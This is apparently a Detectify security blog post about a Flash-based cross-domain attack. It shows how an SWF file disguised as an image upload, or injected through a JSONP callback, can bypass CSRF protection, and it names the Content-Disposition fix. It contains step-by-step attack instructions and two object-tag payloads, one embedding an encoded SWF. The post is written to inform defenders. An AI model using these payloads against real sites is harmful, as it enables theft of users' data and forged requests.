These days a lot of websites allow users to upload files, but many don’t know about the unknown pitfalls of letting users (potential attackers) upload files, even valid files.
What’s a valid file? Usually, a restriction would be on two parameters:
The uploaded file extension
The uploaded Content-Type
For example, the web application could check that the extension is “jpg” and the Content-Type “image/jpeg” to make sure it’s impossible to upload malicious files. Right?
The problem is that plugins like Flash doesn’t care about extension and Content-Type. If a file is embedded using an <object> tag, it will be executed as a Flash file as long as the content of the file looks like a valid Flash file.
But wait a minute! Shouldn’t the Flash be executed within the domain that embeds the file using the <object> tag? Yes and no. If a Flash file (bogus image file) is uploaded on victim.com and then embedded at attacker.com, the Flash file can execute JavaScript within the domain of attacker.com. However, if the Flash file sends requests, it will be allowed to read files within the domain of victim.com.
This basically means that if a website allows file uploads without validating the content of the file, an attacker can bypass any CSRF protection on the website.
The attack
Based on these facts we can create an attack scenario like this:
An attacker creates a malicious Flash (SWF) file
The attacker changes the file extension to JPG
The attacker uploads the file to victim.com
The attacker embeds the file on attacker.com using an <object> tag with type “application/x-shockwave-flash”
The victim visits attacker.com, loads the file as embedded with the <object> tag
The attacker can now send and receive arbitrary requests to victim.com using the victims session
The attacker sends a request to victim.com and extracts the CSRF token from the response
A payload could look like this:
1 <object style="height:1px;1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>
The fix
The good news is that there’s a fairly easy way to prevent Flash from doing this. Flash won’t execute the file if it sends a Content-Disposition header like so:
Content-Disposition: attachment; filename=”image.jpg”
Other uses
But the fun doesn’t stop at file uploads! Since the only requirements of this attack is that an attacker can control the data on a location of the target domain (regardless of Content-Type), there’s more ways to perform this attack.
One way would be to abuse a JSONP API. Usually, the attacker can control the output of a JSONP API endpoint by changing the callback of the current location. There’s no Cross-Site Scripting issue because the server will send Content-Type “application/json”. However, if an attacker uses an entire Flash file as callback and embeds that URL on their domain using the <object> tag, we have the same outcome. A payload could look like this:
<object style="height:1px;1px;" data="http://mywebsite.example.com/user/get?type=jsonp&callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://mywebsite.example.com/secret_file.txt"></object>
And like always, if you want to know if your website has issues like these, try a Detectify scan!
That’s it for now
paper referer:https://labs.detectify.com/2014/05/20/the-lesser-known-pitfalls-of-allowing-file-uploads-on-your-website/